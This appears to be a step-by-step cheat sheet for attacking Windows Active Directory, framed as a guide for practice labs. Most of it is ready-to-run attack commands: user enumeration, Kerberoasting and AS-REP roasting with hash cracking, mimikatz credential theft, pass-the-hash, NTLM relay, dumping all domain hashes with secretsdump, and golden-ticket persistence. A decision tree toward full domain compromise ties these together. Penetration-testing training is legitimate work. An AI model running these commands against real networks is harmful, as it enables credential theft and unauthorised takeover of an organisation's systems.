Quick Guide To AD Pentesting

🔥 Step-by-Step AD Pentesting Cheat Sheet

1️⃣ Enumeration (Always Start Here!)

Your goal: Find Users, Computers, Groups, and AD Misconfigurations.

🔹 Basic Enumeration (No Credentials) ✅ nmap -p 88,135,139,389,445,464,593,636,3268,3389 --script=ldap* --script=smb* <target> ✅ smbclient -L //target -N → Check SMB Shares ✅ crackmapexec smb <target> → Check SMB, Users, and Shares ✅ kerbrute userenum -d domain.com --dc <DC-IP> usernames.txt → Find Valid Users

🔹 Detailed Enumeration (With Credentials) ✅ bloodhound-python -u user -p pass -d domain.com -c All -dc-ip <DC-IP> → Full AD Mapping ✅ rpcclient -U 'user%pass' <DC-IP> → Query AD Info ✅ net group "Domain Admins" /domain → Check Domain Admins ✅ net user /domain → List All Users ✅ crackmapexec ldap <DC-IP> -u user -p pass --asreproast → Check for AS-REP Roastable Accounts

📌 If You Find Null SMB Shares or Weak Users → Move to Exploitation.

---

2️⃣ Exploitation (Privilege Escalation & Lateral Movement)

Your goal: Escalate Privileges from a Low-Level User.

🔹 Kerberoasting (If Kerberos Enabled) ✅ GetUserSPNs.py -dc-ip <DC-IP> domain/user:pass -request ✅ john --wordlist=rockyou.txt hash.txt

🔹 AS-REP Roasting (If User Doesn’t Require Pre-Auth) ✅ GetNPUsers.py -dc-ip <DC-IP> -usersfile users.txt domain/ -format hashcat ✅ hashcat -m 18200 hash.txt rockyou.txt --force

🔹 Pass-the-Hash / Pass-the-Ticket (Lateral Movement) ✅ mimikatz.exe → sekurlsa::logonpasswords → Steal Passwords ✅ psexec.py domain/user@target -hashes LM:NT

🔹 NTLM Relay Attacks (If SMB Signing is Disabled) ✅ ntlmrelayx.py -t smb://target --smb2support

📌 If you get a higher-privilege account → Use It for Full Compromise.

---

3️⃣ Full Domain Compromise (Domain Admin Access!)

Your goal: Get Domain Admin and Dump All Passwords.

🔹 Check if You Are a Domain Admin ✅ whoami /groups ✅ net group "Domain Admins" /domain

🔹 Dump All AD Hashes (If DA Access) ✅ secretsdump.py -dc-ip <DC-IP> domain/admin:password@target

🔹 Golden Ticket Attack (Persistence) ✅ mimikatz.exe → kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-XXXXX /krbtgt:HASH /ptt

📌 Once You Get DA → You Have Fully Compromised the Domain!

---

🔥 How to Know What to Use in a Lab? (Decision-Making Tree)

✅ 1. Do I have credentials?

• ❌ No → Start with Enumeration

• ✅ Yes → Use BloodHound & CrackMapExec

✅ 2. Can I Kerberoast / AS-REP Roast?

• ✅ Yes → Extract Hashes & Crack Them

• ❌ No → Try Lateral Movement

✅ 3. Do I have SMB, LDAP, or Kerberos Misconfigurations?

• ✅ Yes → Exploit Using NTLM Relay, Pass-the-Hash, or Kerberos Attacks

• ❌ No → Look for Local Privilege Escalation on Workstations

✅ 4. Do I have Domain Admin access?

• ✅ Yes → Dump Hashes & Maintain Access

• ❌ No → Pivot to Another User or Machine

---

🔥 Next Steps for You

• Use this step-by-step method in any AD lab.

• Start practicing each attack individually on TryHackMe (THM) & Hack The Box (HTB).

• Use BloodHound to visualize attack paths (this helps a lot).

• If stuck, Google specific errors & read writeups (everyone does this, even pros).